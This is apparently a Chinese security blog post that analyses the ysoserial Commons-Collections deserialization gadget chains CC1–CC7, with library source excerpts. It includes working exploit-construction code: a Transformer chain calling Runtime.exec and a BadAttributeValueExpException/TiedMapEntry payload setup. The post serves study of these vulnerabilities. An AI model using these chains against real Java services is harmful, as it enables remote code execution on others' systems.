Ysoserial ACC总结

简介

调试完了Ysoserial中Apache-Commons-Collections的七条链子,对其进行简单总结。

分为三大模块

  • Gaget Chains——直观的把每个链子的调用情况列出来
  • 基础类——其中常见的类与方法,是实现关键调用的子弹
  • 反序列化时重写了readObject方法的类——一般为链子的开头部分,有了它才能完成反序列化调用

蓝图——Gaget Chains

简要回顾一下这七条Gaget Chain

下文中提到的“攻击链”为一部分固定的连续调用方法,我自个儿起的名字。因为是固定且多次出现所以这样方便称呼。

CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

入口为AnnotationInvocationHandler.readObject()

通过LazyMap攻击链

最后通过TransformerMap攻击链完成反射方法调用

CC2

1
2
3
4
5
6
ObjectInputStream.readObject()
PriorityQueue.readObject()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

入口为PriorityQueue,也就是优先队列的readObject方法

在排序的时候可以控制comparator

最后实际上是触发,TemplatesImpl攻击链

也就是通过加载字节码来执行恶意代码

CC3

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
加载静态块恶意代码

入口为AnnotationInvocationHandler.readObject()

其中通过LazyMap攻击链

最后加载了TemplatesImpl攻击链

加载字节码执行恶意代码

CC4

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
TransformingComparator.compare()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
加载静态块恶意代码

入口为PriorityQueue.readObject()

与CC2不同的是,他触发的是InstantiateTransformer.transform(),也就和CC3一样

CC5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

入口为BadAttributeValueExpException.readObject()

通过TiedMapEntry.toString()方法

触发LazyMap攻击链

CC6

1
2
3
4
5
6
7
8
9
10
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

适用JDK8u71及之后

入口为HashMap.readObject()

来触发TiedMapEntry.hashCode()

最后触发LazyMap攻击链

CC7

1
2
3
4
5
6
7
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform

入口为Hashtable.readObject,其中触发哈希碰撞

从而触发AbstractMapDecorator.equals方法

最终调用LazyMap攻击链

子弹——常见类与方法

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer

ysoserial中最常见的构造方式:

1
new Transformer[]{ new ConstantTransformer(1) });

这个类的主要就是transform方法,返回iConstant属性,一般为transformer数组中第一个元素,为ChainedTransformer的transform方法第一个调用的类。

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

InvokeTransformer

org.apache.commons.collections.functors.InvokeTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}

transformer数组中反射调用方法的关键类,transform方法实现了反射调用。

构造函数要求传入方法名,方法需要参数类型,具体参数

transform方法反射执行一个类的一个特定方法

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

构造方法可以传入一个transformers数组

transform方法实现了数组中的递归调用,前一个元素transform方法的返回值为后一个元素transform方法的参数

因此一般我们这样构造transformer数组:

1
2
3
4
5
6
7
8
9
10
11
12
final String[] execArgs = new String[] {"calc.exe"};
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

等价于

1
Runtime.class.getMethod("getRuntime", null).invoke(null, new Object[0]).exec("calc.exe")

以上三个transformer通过组合可以完整调用命令执行,入口为ChainedTransformer.transform()

LazyMap

org.apache.commons.collections.map.LazyMap

ysoserial中常见的构造方式:

1
2
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
1
public class LazyMap extends AbstractMapDecorator implements Map, Serializable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}


protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

通过decorate方法返回LazyMap实例。

LazyMap.get()方法调用了this.factory.transform(key)

当我们把this.factory指向ChainedTransformer的时候,就能完成攻击链调用。

TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry

1
public class TiedMapEntry implements Entry, KeyValue, Serializable 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
//调用了this.getValue()->this.map.get
public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Entry)) {
return false;
} else {
Entry other = (Entry)obj;
Object value = this.getValue();
return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
}
//调用了this.getValue()->this.map.get
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
//调用了this.getValue()->this.map.get
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}

三个方法都可以调用到this.map.get,如果我们将this.map指向LazyMap即可完成调用链

TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
//构造函数
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
// compare函数,无判断条件直接调用transform
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

当然他是一个比较器,当我们能触发他的compare方法就可以完成transform调用

在CC2中,他也是被作为一个比较器放在优先队列的构造方法里的:

1
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));

PriorityQueue

java.util.PriorityQueue

构造方法之一:

可以自定义它的比较器,一般就是上一个TransformingComparator

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
}

这里经过一系列内部调用

readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->TransformingComparator.compare(e)->transformer.transform(e))

一般最后会调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类来执行恶意代码

详细见CC2中的分析

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

ysoserial中最最常见:

1
final Object templates = Gadgets.createTemplatesImpl(command);

关注其中的几个核心方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 核心方法1 newTransformer
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

第六行的getTransletInstance(),跟进

1
2
3
4
5
6
7
8
9
10
11
12
//核心方法2 getTransletInstance
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
......

_name_class都为null的时候,调用用defineTransletClasses(),然后实例化一个新对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 核心方法3,defineTransletClasses,根据字节码,创建类对象
private void defineTransletClasses() throws TransformerConfigurationException {

if (_bytecodes == null) { // 这里如果_bytecodes==null,程序直接报错,所以不能为null
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

// 获取classLoader,用于后面加载类的字节码
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
// 创建常量
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
// 循环使用defineClass加载类字节码,返回类对象
_class[i] = loader.defineClass(_bytecodes[i]);
// 省略后的代码,后面基本不用看了,因为没有对__class数组产生影响,返回前面的getTransletInstance函数中
}
}
catch() { //异常处理,省略 }
}

通过defineClass可以加载我们的恶意字节码!

关于这个类可以说的很多,详细见之前的分析。

枪口——实现readObject方法的类

BadAttributeValueExpException

javax.management.BadAttributeValueExpException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

val = valObj.toString();中调用了toString方法。

我们将valObj指向TiedMapEntry即可完成调用。valObj也就是val这个成员变量,因此可以这样构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 省略chainedTransformer创建的过程,直接从前面拿过来就可以了
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");

BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
try{
// 反射修改val
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, tiedMapEntry);
}catch (Exception e){e.printStackTrace();}

PriorityQueue

java.util.PriorityQueue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
}

上面分析过,heapify方法会连接起后面的调用链

CC2中:

1
2
3
readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->
TransformingComparator.compare(e)->transformer.transform(e))->invokerTransformer.transform(e)->
TemplatesImpl.newTransform->TemplatesImpl.getTransletInstance->_class[_transletIndex].newInstance()

如果想用transformerMap只需要把transformer处改成ChainedTransformer的实例即可

即替换掉上面的第三行即可

HashMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}

// set other fields that need values
table = (Entry<K,V>[]) EMPTY_TABLE;

// Read in number of buckets
s.readInt(); // ignored.

// Read number of mappings
int mappings = s.readInt();
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);

// capacity chosen by number of mappings and desired load (if >= 0.25)
int capacity = (int) Math.min(
mappings * Math.min(1 / loadFactor, 4.0f),
// we have limits...
HashMap.MAXIMUM_CAPACITY);

// allocate the bucket array;
if (mappings > 0) {
inflateTable(capacity);
} else {
threshold = capacity;
}

init(); // Give subclass a chance to do its thing.

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}

跟进:putForCreate方法

1
2
3
4
    private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);
int i = indexFor(hash, table.length);
......

跟进:hash方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

这里的k.hashCode(),如果把key设置为TiedMapEntry的实例,直接就把利用链构造出来了

HashSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
}

map.put(e, PRESENT)

这个利用链和前面的HashMap利用链接上了,map.put(e, PRESENT)=HashMap.put(e, PRESENT)->HashMap.hash(e)->e.hashCode()

所以只需要把tiedMapEntry放进HashSet即可完成利用链的构造

HashTable

1
2
3
4
5
6
7
8
9
10
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{......

for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(newTable, key, value);
}

CC7里的,跟进reconstitutionPut方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

关键调用了e.key.equals(key),这里可以和TiedMapEntry联系起来,详细见cc7

HashTable2

同样reconstitutionPut方法方法中有hash()方法

1
2
3
4
private int hash(Object k) {
// hashSeed will be zero if alternative hashing is disabled.
return hashSeed ^ k.hashCode();
}

这里也可以通过TiedMapEntry来连接

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler

可以看CC1【2】中对其的分析,以及对Gadgets.createMemoitizedProxy(lazyMap, Map.class)方法的分析

https://xianbei.top/2022/03/15/cc1study2/#title-6

参考&好文mark

https://www.cnblogs.com/bitterz/p/15035581.html

https://xz.aliyun.com/t/8164

https://xz.aliyun.com/t/9451

下面这个一定要看,不看后悔一辈子

http://www.whrizyl819.xyz/